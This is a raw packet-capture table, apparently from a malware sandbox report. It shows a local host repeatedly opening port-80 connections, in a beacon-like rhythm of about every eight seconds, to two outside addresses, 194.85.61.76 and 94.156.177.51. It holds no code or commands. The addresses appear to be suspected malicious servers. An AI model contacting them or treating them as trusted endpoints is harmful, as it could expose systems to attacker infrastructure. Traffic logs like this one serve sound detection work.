Dec 19, 2024 11:00:07.972789049 CET	80	50000	194.85.61.76	192.168.2.5
Dec 19, 2024 11:00:07.972882986 CET	50000	80	192.168.2.5	194.85.61.76
Dec 19, 2024 11:00:07.973180056 CET	80	50003	194.85.61.76	192.168.2.5
Dec 19, 2024 11:00:07.973251104 CET	50003	80	192.168.2.5	194.85.61.76
Dec 19, 2024 11:00:07.973406076 CET	50003	80	192.168.2.5	194.85.61.76
Dec 19, 2024 11:00:07.973427057 CET	50003	80	192.168.2.5	194.85.61.76
Dec 19, 2024 11:00:08.093837023 CET	80	50003	194.85.61.76	192.168.2.5
Dec 19, 2024 11:00:08.093905926 CET	80	50003	194.85.61.76	192.168.2.5
Dec 19, 2024 11:00:09.309182882 CET	80	50003	194.85.61.76	192.168.2.5
Dec 19, 2024 11:00:09.405517101 CET	50003	80	192.168.2.5	194.85.61.76
Dec 19, 2024 11:00:13.927354097 CET	50001	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:13.928138971 CET	50004	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:14.047334909 CET	80	50001	94.156.177.51	192.168.2.5
Dec 19, 2024 11:00:14.047413111 CET	50001	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:14.047704935 CET	80	50004	94.156.177.51	192.168.2.5
Dec 19, 2024 11:00:14.047790051 CET	50004	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:14.047979116 CET	50004	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:14.048084021 CET	50004	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:14.167612076 CET	80	50004	94.156.177.51	192.168.2.5
Dec 19, 2024 11:00:14.167670012 CET	80	50004	94.156.177.51	192.168.2.5
Dec 19, 2024 11:00:15.431368113 CET	80	50004	94.156.177.51	192.168.2.5
Dec 19, 2024 11:00:15.434993029 CET	50002	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:15.435705900 CET	50005	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:15.530466080 CET	50004	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:15.555548906 CET	80	50002	94.156.177.51	192.168.2.5
Dec 19, 2024 11:00:15.555661917 CET	50002	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:15.555840969 CET	80	50005	94.156.177.51	192.168.2.5
Dec 19, 2024 11:00:15.555943012 CET	50005	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:15.556154013 CET	50005	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:15.556154966 CET	50005	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:15.675779104 CET	80	50005	94.156.177.51	192.168.2.5
Dec 19, 2024 11:00:15.675836086 CET	80	50005	94.156.177.51	192.168.2.5
Dec 19, 2024 11:00:16.925323009 CET	80	50005	94.156.177.51	192.168.2.5
Dec 19, 2024 11:00:16.932225943 CET	50003	80	192.168.2.5	194.85.61.76
Dec 19, 2024 11:00:16.932898998 CET	50006	80	192.168.2.5	194.85.61.76
Dec 19, 2024 11:00:17.052246094 CET	80	50003	194.85.61.76	192.168.2.5
Dec 19, 2024 11:00:17.052334070 CET	50003	80	192.168.2.5	194.85.61.76
Dec 19, 2024 11:00:17.052470922 CET	80	50006	194.85.61.76	192.168.2.5
Dec 19, 2024 11:00:17.052629948 CET	50006	80	192.168.2.5	194.85.61.76
Dec 19, 2024 11:00:17.052778959 CET	50006	80	192.168.2.5	194.85.61.76
Dec 19, 2024 11:00:17.052819967 CET	50006	80	192.168.2.5	194.85.61.76
Dec 19, 2024 11:00:17.108580112 CET	50005	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:17.173132896 CET	80	50006	194.85.61.76	192.168.2.5
Dec 19, 2024 11:00:17.173167944 CET	80	50006	194.85.61.76	192.168.2.5
Dec 19, 2024 11:00:18.093194962 CET	50005	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:18.093214035 CET	50004	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:18.213327885 CET	80	50005	94.156.177.51	192.168.2.5
Dec 19, 2024 11:00:18.213409901 CET	50005	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:18.213768959 CET	80	50004	94.156.177.51	192.168.2.5
Dec 19, 2024 11:00:18.213839054 CET	50004	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:18.386399984 CET	80	50006	194.85.61.76	192.168.2.5
Dec 19, 2024 11:00:18.608576059 CET	50006	80	192.168.2.5	194.85.61.76
Dec 19, 2024 11:00:22.127229929 CET	50007	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:22.246999025 CET	80	50007	94.156.177.51	192.168.2.5
Dec 19, 2024 11:00:22.247164965 CET	50007	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:22.247304916 CET	50007	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:22.247355938 CET	50007	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:22.366899014 CET	80	50007	94.156.177.51	192.168.2.5
Dec 19, 2024 11:00:22.367010117 CET	80	50007	94.156.177.51	192.168.2.5
Dec 19, 2024 11:00:23.618141890 CET	80	50007	94.156.177.51	192.168.2.5
Dec 19, 2024 11:00:23.623651981 CET	50008	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:23.702266932 CET	50007	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:23.743330956 CET	80	50008	94.156.177.51	192.168.2.5
Dec 19, 2024 11:00:23.743562937 CET	50008	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:23.743700027 CET	50008	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:23.743736982 CET	50008	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:23.863380909 CET	80	50008	94.156.177.51	192.168.2.5
Dec 19, 2024 11:00:23.863420010 CET	80	50008	94.156.177.51	192.168.2.5
Dec 19, 2024 11:00:25.092927933 CET	80	50008	94.156.177.51	192.168.2.5
Dec 19, 2024 11:00:25.096931934 CET	50006	80	192.168.2.5	194.85.61.76
Dec 19, 2024 11:00:25.099350929 CET	50009	80	192.168.2.5	194.85.61.76
Dec 19, 2024 11:00:25.139893055 CET	50008	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:25.216953039 CET	80	50006	194.85.61.76	192.168.2.5
Dec 19, 2024 11:00:25.217127085 CET	50006	80	192.168.2.5	194.85.61.76
Dec 19, 2024 11:00:25.218894005 CET	80	50009	194.85.61.76	192.168.2.5
Dec 19, 2024 11:00:25.219010115 CET	50009	80	192.168.2.5	194.85.61.76
Dec 19, 2024 11:00:25.219163895 CET	50009	80	192.168.2.5	194.85.61.76
Dec 19, 2024 11:00:25.219197035 CET	50009	80	192.168.2.5	194.85.61.76
Dec 19, 2024 11:00:25.338969946 CET	80	50009	194.85.61.76	192.168.2.5
Dec 19, 2024 11:00:25.339015961 CET	80	50009	194.85.61.76	192.168.2.5
Dec 19, 2024 11:00:26.560724974 CET	80	50009	194.85.61.76	192.168.2.5
Dec 19, 2024 11:00:26.639751911 CET	50009	80	192.168.2.5	194.85.61.76
Dec 19, 2024 11:00:30.412332058 CET	50007	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:30.413017035 CET	50010	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:30.532826900 CET	80	50010	94.156.177.51	192.168.2.5
Dec 19, 2024 11:00:30.532876968 CET	80	50007	94.156.177.51	192.168.2.5
Dec 19, 2024 11:00:30.532952070 CET	50010	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:30.532974005 CET	50007	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:30.533154964 CET	50010	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:30.533186913 CET	50010	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:30.653083086 CET	80	50010	94.156.177.51	192.168.2.5
Dec 19, 2024 11:00:30.653198004 CET	80	50010	94.156.177.51	192.168.2.5
Dec 19, 2024 11:00:31.889817953 CET	80	50010	94.156.177.51	192.168.2.5
Dec 19, 2024 11:00:31.893731117 CET	50008	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:31.894496918 CET	50011	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:31.936599970 CET	50010	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:32.014002085 CET	80	50008	94.156.177.51	192.168.2.5
Dec 19, 2024 11:00:32.014081001 CET	80	50011	94.156.177.51	192.168.2.5
Dec 19, 2024 11:00:32.014091969 CET	50008	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:32.014151096 CET	50011	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:32.014364004 CET	50011	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:32.014384985 CET	50011	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:32.133869886 CET	80	50011	94.156.177.51	192.168.2.5
Dec 19, 2024 11:00:32.134037018 CET	80	50011	94.156.177.51	192.168.2.5
Dec 19, 2024 11:00:33.379775047 CET	80	50011	94.156.177.51	192.168.2.5
Dec 19, 2024 11:00:33.384870052 CET	50009	80	192.168.2.5	194.85.61.76
Dec 19, 2024 11:00:33.385530949 CET	50012	80	192.168.2.5	194.85.61.76
Dec 19, 2024 11:00:33.504926920 CET	80	50009	194.85.61.76	192.168.2.5
Dec 19, 2024 11:00:33.505012989 CET	50009	80	192.168.2.5	194.85.61.76
Dec 19, 2024 11:00:33.505090952 CET	80	50012	194.85.61.76	192.168.2.5
Dec 19, 2024 11:00:33.505172968 CET	50012	80	192.168.2.5	194.85.61.76
Dec 19, 2024 11:00:33.505337000 CET	50012	80	192.168.2.5	194.85.61.76
Dec 19, 2024 11:00:33.510246992 CET	50012	80	192.168.2.5	194.85.61.76
Dec 19, 2024 11:00:33.608453989 CET	50011	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:33.625281096 CET	80	50012	194.85.61.76	192.168.2.5
Dec 19, 2024 11:00:33.630229950 CET	80	50012	194.85.61.76	192.168.2.5
Dec 19, 2024 11:00:34.846632957 CET	80	50012	194.85.61.76	192.168.2.5
Dec 19, 2024 11:00:35.030324936 CET	50012	80	192.168.2.5	194.85.61.76
Dec 19, 2024 11:00:39.078705072 CET	50010	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:39.079343081 CET	50013	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:39.198887110 CET	80	50010	94.156.177.51	192.168.2.5
Dec 19, 2024 11:00:39.198909998 CET	80	50013	94.156.177.51	192.168.2.5
Dec 19, 2024 11:00:39.198972940 CET	50010	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:39.199024916 CET	50013	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:39.199218035 CET	50013	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:39.199258089 CET	50013	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:39.318814993 CET	80	50013	94.156.177.51	192.168.2.5
Dec 19, 2024 11:00:39.318877935 CET	80	50013	94.156.177.51	192.168.2.5
Dec 19, 2024 11:00:40.565376997 CET	80	50013	94.156.177.51	192.168.2.5
Dec 19, 2024 11:00:40.577049971 CET	50011	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:40.577833891 CET	50014	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:40.639664888 CET	50013	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:40.697760105 CET	80	50011	94.156.177.51	192.168.2.5
Dec 19, 2024 11:00:40.697801113 CET	80	50014	94.156.177.51	192.168.2.5
Dec 19, 2024 11:00:40.697835922 CET	50011	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:40.697911024 CET	50014	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:40.698086977 CET	50014	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:40.698121071 CET	50014	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:40.818715096 CET	80	50014	94.156.177.51	192.168.2.5
Dec 19, 2024 11:00:40.818759918 CET	80	50014	94.156.177.51	192.168.2.5
Dec 19, 2024 11:00:42.052089930 CET	80	50014	94.156.177.51	192.168.2.5
Dec 19, 2024 11:00:42.066133022 CET	50012	80	192.168.2.5	194.85.61.76
Dec 19, 2024 11:00:42.066770077 CET	50015	80	192.168.2.5	194.85.61.76
Dec 19, 2024 11:00:42.092792988 CET	50014	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:42.186614990 CET	80	50012	194.85.61.76	192.168.2.5
Dec 19, 2024 11:00:42.186654091 CET	80	50015	194.85.61.76	192.168.2.5
Dec 19, 2024 11:00:42.186687946 CET	50012	80	192.168.2.5	194.85.61.76
Dec 19, 2024 11:00:42.186741114 CET	50015	80	192.168.2.5	194.85.61.76
Dec 19, 2024 11:00:42.186908960 CET	50015	80	192.168.2.5	194.85.61.76
Dec 19, 2024 11:00:42.186943054 CET	50015	80	192.168.2.5	194.85.61.76
Dec 19, 2024 11:00:42.306554079 CET	80	50015	194.85.61.76	192.168.2.5
Dec 19, 2024 11:00:42.306631088 CET	80	50015	194.85.61.76	192.168.2.5
Dec 19, 2024 11:00:43.521437883 CET	80	50015	194.85.61.76	192.168.2.5
Dec 19, 2024 11:00:43.608438969 CET	50015	80	192.168.2.5	194.85.61.76
Dec 19, 2024 11:00:47.655689955 CET	50013	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:47.656384945 CET	50016	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:47.776156902 CET	80	50013	94.156.177.51	192.168.2.5
Dec 19, 2024 11:00:47.776182890 CET	80	50016	94.156.177.51	192.168.2.5
Dec 19, 2024 11:00:47.776212931 CET	50013	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:47.776276112 CET	50016	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:47.776496887 CET	50016	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:47.776541948 CET	50016	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:47.896007061 CET	80	50016	94.156.177.51	192.168.2.5
Dec 19, 2024 11:00:47.896152973 CET	80	50016	94.156.177.51	192.168.2.5
Dec 19, 2024 11:00:49.147445917 CET	80	50016	94.156.177.51	192.168.2.5
Dec 19, 2024 11:00:49.154002905 CET	50014	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:49.154767990 CET	50017	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:49.274190903 CET	80	50014	94.156.177.51	192.168.2.5
Dec 19, 2024 11:00:49.274291992 CET	50014	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:49.274439096 CET	80	50017	94.156.177.51	192.168.2.5
Dec 19, 2024 11:00:49.274527073 CET	50017	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:49.274692059 CET	50017	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:49.274730921 CET	50017	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:49.327251911 CET	50016	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:49.395951986 CET	80	50017	94.156.177.51	192.168.2.5
Dec 19, 2024 11:00:49.395987988 CET	80	50017	94.156.177.51	192.168.2.5
Dec 19, 2024 11:00:50.646676064 CET	80	50017	94.156.177.51	192.168.2.5
Dec 19, 2024 11:00:50.652403116 CET	50015	80	192.168.2.5	194.85.61.76
Dec 19, 2024 11:00:50.653104067 CET	50018	80	192.168.2.5	194.85.61.76
Dec 19, 2024 11:00:50.772900105 CET	80	50015	194.85.61.76	192.168.2.5
Dec 19, 2024 11:00:50.772950888 CET	80	50018	194.85.61.76	192.168.2.5
Dec 19, 2024 11:00:50.772995949 CET	50015	80	192.168.2.5	194.85.61.76
Dec 19, 2024 11:00:50.773039103 CET	50018	80	192.168.2.5	194.85.61.76
Dec 19, 2024 11:00:50.773264885 CET	50018	80	192.168.2.5	194.85.61.76
Dec 19, 2024 11:00:50.773303032 CET	50018	80	192.168.2.5	194.85.61.76
Dec 19, 2024 11:00:50.795845985 CET	50017	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:50.892791033 CET	80	50018	194.85.61.76	192.168.2.5
Dec 19, 2024 11:00:50.892930031 CET	80	50018	194.85.61.76	192.168.2.5
Dec 19, 2024 11:00:52.117582083 CET	80	50018	194.85.61.76	192.168.2.5
Dec 19, 2024 11:00:52.295850039 CET	50018	80	192.168.2.5	194.85.61.76
Dec 19, 2024 11:00:56.639198065 CET	50016	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:56.639919996 CET	50019	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:56.760374069 CET	80	50019	94.156.177.51	192.168.2.5
Dec 19, 2024 11:00:56.760425091 CET	80	50016	94.156.177.51	192.168.2.5
Dec 19, 2024 11:00:56.760519028 CET	50016	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:56.760525942 CET	50019	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:56.760693073 CET	50019	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:56.760725975 CET	50019	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:56.880178928 CET	80	50019	94.156.177.51	192.168.2.5
Dec 19, 2024 11:00:56.880338907 CET	80	50019	94.156.177.51	192.168.2.5
Dec 19, 2024 11:00:58.140840054 CET	80	50019	94.156.177.51	192.168.2.5
Dec 19, 2024 11:00:58.150202036 CET	50017	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:58.151030064 CET	50020	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:58.217739105 CET	50019	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:58.270863056 CET	80	50020	94.156.177.51	192.168.2.5
Dec 19, 2024 11:00:58.271347046 CET	80	50017	94.156.177.51	192.168.2.5
Dec 19, 2024 11:00:58.271486044 CET	50017	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:58.271836042 CET	50020	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:58.271836042 CET	50020	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:58.271836042 CET	50020	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:58.391464949 CET	80	50020	94.156.177.51	192.168.2.5
Dec 19, 2024 11:00:58.391597033 CET	80	50020	94.156.177.51	192.168.2.5
Dec 19, 2024 11:00:59.638279915 CET	80	50020	94.156.177.51	192.168.2.5
Dec 19, 2024 11:00:59.651143074 CET	50018	80	192.168.2.5	194.85.61.76
Dec 19, 2024 11:00:59.652076006 CET	50021	80	192.168.2.5	194.85.61.76
Dec 19, 2024 11:00:59.702080965 CET	50020	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:00:59.771333933 CET	80	50018	194.85.61.76	192.168.2.5
Dec 19, 2024 11:00:59.771433115 CET	50018	80	192.168.2.5	194.85.61.76
Dec 19, 2024 11:00:59.771645069 CET	80	50021	194.85.61.76	192.168.2.5
Dec 19, 2024 11:00:59.771718979 CET	50021	80	192.168.2.5	194.85.61.76
Dec 19, 2024 11:00:59.771935940 CET	50021	80	192.168.2.5	194.85.61.76
Dec 19, 2024 11:00:59.771965981 CET	50021	80	192.168.2.5	194.85.61.76
Dec 19, 2024 11:00:59.891478062 CET	80	50021	194.85.61.76	192.168.2.5
Dec 19, 2024 11:00:59.891544104 CET	80	50021	194.85.61.76	192.168.2.5
Dec 19, 2024 11:01:01.112617016 CET	80	50021	194.85.61.76	192.168.2.5
Dec 19, 2024 11:01:01.311427116 CET	50021	80	192.168.2.5	194.85.61.76
Dec 19, 2024 11:01:05.006011963 CET	50019	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:01:05.006716967 CET	50022	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:01:05.126434088 CET	80	50022	94.156.177.51	192.168.2.5
Dec 19, 2024 11:01:05.126519918 CET	80	50019	94.156.177.51	192.168.2.5
Dec 19, 2024 11:01:05.126616001 CET	50019	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:01:05.126651049 CET	50022	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:01:05.126802921 CET	50022	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:01:05.126802921 CET	50022	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:01:05.246325016 CET	80	50022	94.156.177.51	192.168.2.5
Dec 19, 2024 11:01:05.246593952 CET	80	50022	94.156.177.51	192.168.2.5
Dec 19, 2024 11:01:06.509078026 CET	80	50022	94.156.177.51	192.168.2.5
Dec 19, 2024 11:01:06.513267994 CET	50020	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:01:06.514122963 CET	50023	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:01:06.592650890 CET	50022	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:01:06.633316040 CET	80	50020	94.156.177.51	192.168.2.5
Dec 19, 2024 11:01:06.633399963 CET	50020	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:01:06.633765936 CET	80	50023	94.156.177.51	192.168.2.5
Dec 19, 2024 11:01:06.633841991 CET	50023	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:01:06.634035110 CET	50023	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:01:06.634068966 CET	50023	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:01:06.753649950 CET	80	50023	94.156.177.51	192.168.2.5
Dec 19, 2024 11:01:06.753715992 CET	80	50023	94.156.177.51	192.168.2.5
Dec 19, 2024 11:01:08.004259109 CET	80	50023	94.156.177.51	192.168.2.5
Dec 19, 2024 11:01:08.015645027 CET	50021	80	192.168.2.5	194.85.61.76
Dec 19, 2024 11:01:08.016199112 CET	50024	80	192.168.2.5	194.85.61.76
Dec 19, 2024 11:01:08.135987997 CET	80	50021	194.85.61.76	192.168.2.5
Dec 19, 2024 11:01:08.136029959 CET	80	50024	194.85.61.76	192.168.2.5
Dec 19, 2024 11:01:08.136046886 CET	50021	80	192.168.2.5	194.85.61.76
Dec 19, 2024 11:01:08.136239052 CET	50024	80	192.168.2.5	194.85.61.76
Dec 19, 2024 11:01:08.136343956 CET	50024	80	192.168.2.5	194.85.61.76
Dec 19, 2024 11:01:08.136374950 CET	50024	80	192.168.2.5	194.85.61.76
Dec 19, 2024 11:01:08.139528990 CET	50023	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:01:08.255911112 CET	80	50024	194.85.61.76	192.168.2.5
Dec 19, 2024 11:01:08.256128073 CET	80	50024	194.85.61.76	192.168.2.5
Dec 19, 2024 11:01:09.477787971 CET	80	50024	194.85.61.76	192.168.2.5
Dec 19, 2024 11:01:09.639518023 CET	50024	80	192.168.2.5	194.85.61.76
Dec 19, 2024 11:01:14.032356977 CET	50022	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:01:14.032726049 CET	50025	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:01:14.152539968 CET	80	50025	94.156.177.51	192.168.2.5
Dec 19, 2024 11:01:14.152673006 CET	50025	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:01:14.152776957 CET	80	50022	94.156.177.51	192.168.2.5
Dec 19, 2024 11:01:14.152865887 CET	50022	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:01:14.152884960 CET	50025	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:01:14.152934074 CET	50025	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:01:14.272593021 CET	80	50025	94.156.177.51	192.168.2.5
Dec 19, 2024 11:01:14.272628069 CET	80	50025	94.156.177.51	192.168.2.5
Dec 19, 2024 11:01:15.514272928 CET	80	50025	94.156.177.51	192.168.2.5
Dec 19, 2024 11:01:15.522825956 CET	50023	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:01:15.523394108 CET	50026	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:01:15.639487982 CET	50025	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:01:15.642899036 CET	80	50023	94.156.177.51	192.168.2.5
Dec 19, 2024 11:01:15.643064976 CET	80	50026	94.156.177.51	192.168.2.5
Dec 19, 2024 11:01:15.643173933 CET	50023	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:01:15.643224955 CET	50026	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:01:15.643481016 CET	50026	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:01:15.643481016 CET	50026	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:01:15.763120890 CET	80	50026	94.156.177.51	192.168.2.5
Dec 19, 2024 11:01:15.763158083 CET	80	50026	94.156.177.51	192.168.2.5
Dec 19, 2024 11:01:17.013854027 CET	80	50026	94.156.177.51	192.168.2.5
Dec 19, 2024 11:01:17.019367933 CET	50024	80	192.168.2.5	194.85.61.76
Dec 19, 2024 11:01:17.026079893 CET	50027	80	192.168.2.5	194.85.61.76
Dec 19, 2024 11:01:17.108246088 CET	50026	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:01:17.139561892 CET	80	50024	194.85.61.76	192.168.2.5
Dec 19, 2024 11:01:17.139687061 CET	50024	80	192.168.2.5	194.85.61.76
Dec 19, 2024 11:01:17.145685911 CET	80	50027	194.85.61.76	192.168.2.5
Dec 19, 2024 11:01:17.145761013 CET	50027	80	192.168.2.5	194.85.61.76
Dec 19, 2024 11:01:17.145970106 CET	50027	80	192.168.2.5	194.85.61.76
Dec 19, 2024 11:01:17.145992994 CET	50027	80	192.168.2.5	194.85.61.76
Dec 19, 2024 11:01:17.265918970 CET	80	50027	194.85.61.76	192.168.2.5
Dec 19, 2024 11:01:17.265953064 CET	80	50027	194.85.61.76	192.168.2.5
Dec 19, 2024 11:01:17.939521074 CET	50025	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:01:17.948889017 CET	50026	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:01:18.059510946 CET	80	50025	94.156.177.51	192.168.2.5
Dec 19, 2024 11:01:18.059595108 CET	50025	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:01:18.068747997 CET	80	50026	94.156.177.51	192.168.2.5
Dec 19, 2024 11:01:18.068820000 CET	50026	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:01:18.481949091 CET	80	50027	194.85.61.76	192.168.2.5
Dec 19, 2024 11:01:18.608253956 CET	50027	80	192.168.2.5	194.85.61.76
Dec 19, 2024 11:01:22.729553938 CET	50028	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:01:22.849565029 CET	80	50028	94.156.177.51	192.168.2.5
Dec 19, 2024 11:01:22.849688053 CET	50028	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:01:22.850096941 CET	50028	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:01:22.850096941 CET	50028	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:01:22.969711065 CET	80	50028	94.156.177.51	192.168.2.5
Dec 19, 2024 11:01:22.970042944 CET	80	50028	94.156.177.51	192.168.2.5
Dec 19, 2024 11:01:24.212259054 CET	80	50028	94.156.177.51	192.168.2.5
Dec 19, 2024 11:01:24.218524933 CET	50029	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:01:24.327003956 CET	50028	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:01:24.338701010 CET	80	50029	94.156.177.51	192.168.2.5
Dec 19, 2024 11:01:24.338783026 CET	50029	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:01:24.338927984 CET	50029	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:01:24.338943005 CET	50029	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:01:24.458914995 CET	80	50029	94.156.177.51	192.168.2.5
Dec 19, 2024 11:01:24.459129095 CET	80	50029	94.156.177.51	192.168.2.5
Dec 19, 2024 11:01:25.693094015 CET	80	50029	94.156.177.51	192.168.2.5
Dec 19, 2024 11:01:25.706688881 CET	50027	80	192.168.2.5	194.85.61.76
Dec 19, 2024 11:01:25.714620113 CET	50030	80	192.168.2.5	194.85.61.76
Dec 19, 2024 11:01:25.795658112 CET	50029	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:01:25.827770948 CET	80	50027	194.85.61.76	192.168.2.5
Dec 19, 2024 11:01:25.827843904 CET	50027	80	192.168.2.5	194.85.61.76
Dec 19, 2024 11:01:25.834424973 CET	80	50030	194.85.61.76	192.168.2.5
Dec 19, 2024 11:01:25.834745884 CET	50030	80	192.168.2.5	194.85.61.76
Dec 19, 2024 11:01:25.834745884 CET	50030	80	192.168.2.5	194.85.61.76
Dec 19, 2024 11:01:25.834745884 CET	50030	80	192.168.2.5	194.85.61.76
Dec 19, 2024 11:01:25.954453945 CET	80	50030	194.85.61.76	192.168.2.5
Dec 19, 2024 11:01:25.954538107 CET	80	50030	194.85.61.76	192.168.2.5
Dec 19, 2024 11:01:27.174427986 CET	80	50030	194.85.61.76	192.168.2.5
Dec 19, 2024 11:01:27.405067921 CET	50030	80	192.168.2.5	194.85.61.76
Dec 19, 2024 11:01:31.186304092 CET	50028	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:01:31.186778069 CET	50031	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:01:31.306435108 CET	80	50031	94.156.177.51	192.168.2.5
Dec 19, 2024 11:01:31.306494951 CET	80	50028	94.156.177.51	192.168.2.5
Dec 19, 2024 11:01:31.306597948 CET	50031	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:01:31.306633949 CET	50028	80	192.168.2.5	94.156.177.51
